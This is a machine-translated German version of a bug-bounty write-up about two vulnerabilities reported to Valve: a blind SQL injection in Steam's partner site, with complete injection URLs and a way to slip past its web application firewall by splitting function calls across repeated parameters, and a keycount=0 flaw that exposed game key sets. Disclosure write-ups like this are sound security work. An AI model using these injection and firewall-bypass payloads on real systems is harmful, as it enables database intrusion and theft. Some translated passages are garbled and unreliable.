Wie ich Steam gehackt habe. Zweimal

Hallo Habr! Heute werde ich Ihnen sagen, warum Valve die größten Prämien in der Geschichte seines Belohnungsprogramms für Schwachstellen gezahlt hat. Willkommen bei Katze!



1. SQL Injection


Der Dienst partner.steampowered.com dient zum Empfang von Finanzinformationen von Steam-Partnern. Auf der Seite mit den Verkaufsberichten wird ein Diagramm mit Schaltflächen gezeichnet, die den Zeitraum ändern, in dem die Statistiken angezeigt werden. Hier sind sie im grünen Rechteck:



Die Anforderung zum Herunterladen von Statistiken sieht folgendermaßen aus:


Dabei ist "UA" der Ländercode.

Na dann ist es Zeit für Zitate!
Versuchen wir mal "UA '":



Die Statistik ist NICHT zurückgekehrt, was zu erwarten ist.

Jetzt "UA":



Die Statistiken sind wieder da und es sieht aus wie eine Injektion!

Warum?
Angenommen, die Datenbankanweisung sieht folgendermaßen aus:

SELECT * FROM countries WHERE country_code = `UA`; 

Wenn Sie UA 'senden, lautet die Datenbankanweisung:

 SELECT * FROM countries WHERE country_code = `UA``; 

Haben Sie ein zusätzliches Angebot bemerkt? Und das bedeutet, dass die Anweisung ungültig ist.
Gemäß der SQL-Syntax ist die folgende Abfrage vollständig gültig (es gibt keine zusätzlichen Anführungszeichen):

 SELECT * FROM countries WHERE country_code = `UA```; 

Bitte beachten Sie, dass es sich um eine Reihe von countryFilter [] handelt . Ich ging davon aus, dass, wenn wir den Parameter countryFilter [] in der Abfrage mehrmals duplizieren, alle von uns gesendeten Werte in der SQL-Abfrage folgendermaßen kombiniert werden:

 'value1', 'value2', 'value3' 

Wir prüfen und stellen sicher:



Tatsächlich haben wir Statistiken aus drei Ländern aus der Datenbank angefordert:

 `UA`, `,` ,`RU` 

Die Syntax ist korrekt - die Statistiken sind zurück :)

Umgehung der Webanwendungs-Firewall

Steam-Server verstecken sich hinter Akamai WAF. Diese Schande fügt Stöcke in die Räder guter (und nicht so) Hacker ein. Es gelang mir jedoch, dies zu überwinden, indem ich die Werte des Arrays in einer einzigen Abfrage (wie oben erläutert) kombinierte und kommentierte. Stellen Sie zunächst sicher, dass Letzteres verfügbar ist:

 ?countryFilter[]=UA`/*&countryFilter[]=*/,`RU 

Die Anfrage ist gültig, daher gibt es Kommentare in unserem Sortiment.
Wir hatten verschiedene Syntaxoptionen, lokale Datenbanken zum Testen von Nutzdaten, Kommentarzeichen und eine unendliche Anzahl von Anführungszeichen für alle Codierungen sowie selbst geschriebene Skripte auf Python, Dokumentation für alle Datenbanken, Anweisungen zum Umgehen von Firewalls, Wikipedia und Antichest. Es ist nicht so, dass es eine notwendige Reserve für die Förderung von Injektionen war, aber da es anfing, die Datenbank zu brechen, ist es schwer zu stoppen ...
WAF blockiert eine Anforderung, wenn sie auf eine darin enthaltene Funktion stößt. Wussten Sie, dass DB_NAME / ** / () ein gültiger Funktionsaufruf ist? Die Firewall weiß auch und blockiert. Dank dieser Funktion können wir den Funktionsaufruf jedoch in zwei Parameter aufteilen!

 ?countryFilter[]=UA',DB_NAME/*&countryFilter[]=*/(),'RU 

Wir haben eine Anfrage mit DB_NAME / * trotzdem * / () gesendet - WAF hat nichts verstanden, aber die Datenbank hat eine solche Anweisung erfolgreich verarbeitet.

Werte aus einer Datenbank abrufen

Ein Beispiel zum Abrufen der Länge eines DB_NAME () -Werts:

 https://partner.steampowered.com/report_xml.php?query=QuerySteamHistory&countryFilter[]=',(SELECT/*&countryFilter[]=*/CASE/**/WHEN/*&countryFilter[]=*/(len(DB_NAME/*&countryFilter[]=*/())/*&countryFilter[]=*/=1)/**/THEN/**/'UA'/**/ELSE/*&countryFilter[]=*/'qwerty'/**/END),' 

In SQL:

 SELECT CASE WHEN (len(DB_NAME())= 1) THEN 'UA' ELSE 'qwerty' END 

Nun, menschlich:

   DB_NAME()  "1",   “UA”,   “qwerty”. 

Das heißt, wenn der Vergleich wahr ist, erhalten wir im Gegenzug Statistiken für das Land „UA“. Es ist nicht schwer zu erraten, dass wir früher oder später den richtigen Wert finden, wenn wir Werte von 1 bis unendlich überschreiten.

Auf die gleiche Weise können Sie über Textwerte iterieren:

    DB_NAME()  “a”,  "UA",  "qwerty". 

Normalerweise wird die Funktion "Teilzeichenfolge" verwendet, um das N-te Zeichen zu erhalten, aber WAF hat es hartnäckig blockiert. Hier kam die Kombination zur Rettung:

 right(left(system_user,N),1) 

Wie funktioniert es Wir erhalten N Zeichen des Wertes von system_user, von dem wir das letzte nehmen.
Stellen Sie sich vor, system_user = "steam". So sieht es aus, wenn man den dritten Charakter bekommt:

 left(system_user,3) = ste right(“ste”,1) = e 

Mit einem einfachen Skript wurde dieser Prozess automatisiert und ich erhielt den Hostnamen, den Systembenutzer, die Version und die Namen aller Datenbanken. Diese Informationen sind mehr als genug (letzteres ist sogar überflüssig, aber es war interessant), um Kritikalität zu demonstrieren.

Nach 5 Stunden wurde die Sicherheitsanfälligkeit behoben, aber der Teststatus wurde nach 8 Stunden festgelegt, und verdammt noch mal, für mich waren es sehr schwierige 3 Stunden, für die mein Gehirn die Phasen von der Verweigerung bis zur Akzeptanz überstanden hat.

Erklärung der Paranoia
Da die Sicherheitsanfälligkeit nicht als akzeptiert eingestuft wurde, glaubte ich, dass die Leitung meinen Bericht noch nicht erreicht hatte. Aber sie haben den Fehler behoben, was bedeutet, dass sie ihn vor mir hätten registrieren können.

2. Erhalten Sie alle Schlüssel zu jedem Spiel


In der Steam-Partneroberfläche gibt es eine Funktion zum Generieren von Spielschlüsseln.
Sie können den generierten Schlüsselsatz mithilfe der folgenden Anfrage herunterladen:

 https://partner.steamgames.com/partnercdkeys/assignkeys/ &sessionid=xxxxxxxxxxxxx&keyid=123456&sourceAccount=xxxxxxxxx&appid=xxxxxx&keycount=1&generateButton=Download 

In dieser Anforderung ist der Parameter keyid die ID des Schlüsselsatzes, und keycount ist die Anzahl der Schlüssel, die aus diesem Satz abgerufen werden müssen.

Natürlich streckten meine Hände sofort die Hand aus, um eine andere Schlüssel-ID einzugeben , aber als Antwort erhielt ich eine Fehlermeldung: „ CD-Schlüssel konnten nicht generiert werden: Keine Zuweisung für den Benutzer. ". Es stellte sich heraus, dass nicht alles so einfach war, und Steam überprüfte, ob ich den angeforderten Schlüsselsatz besaß. Wie bin ich um diesen Test herumgekommen? Achtung ...

 keycount=0 

Eine Datei mit 36.000 Schlüsseln für das Spiel Portal 2 wurde generiert. Wow.
Nur in einem Satz war diese Anzahl von Schlüsseln. Und alle Sets im Moment mehr als 430.000. Beim Durchsuchen der Keyid- Werte war ich ein potenzieller Angreifer, der alle Schlüssel herunterladen konnte, die jemals von Steam-Spieleentwicklern generiert wurden.

Schlussfolgerungen


  • Kostspielige WAF-Systeme von Top-Unternehmen sind weit davon entfernt, die Sicherheit Ihrer Webanwendungen zu gewährleisten.
  • Wenn Sie ein Insektenjäger sind, versuchen Sie, so tief wie möglich einzudringen. Je weniger Benutzer Zugriff auf eine Schnittstelle haben, desto wahrscheinlicher ist es, dass in dieser Schnittstelle eine Sicherheitsanfälligkeit festgestellt wird.
  • Entwickler und Geschäftsinhaber, es gibt keine absolut sicheren Anwendungen! Aber du hältst fest. Gute Laune!

Aber im Ernst
Machen Sie Pentests, zahlen Sie für Schwachstellen, denken Sie strategisch.

Source: https://habr.com/ru/post/de421215/


All Articles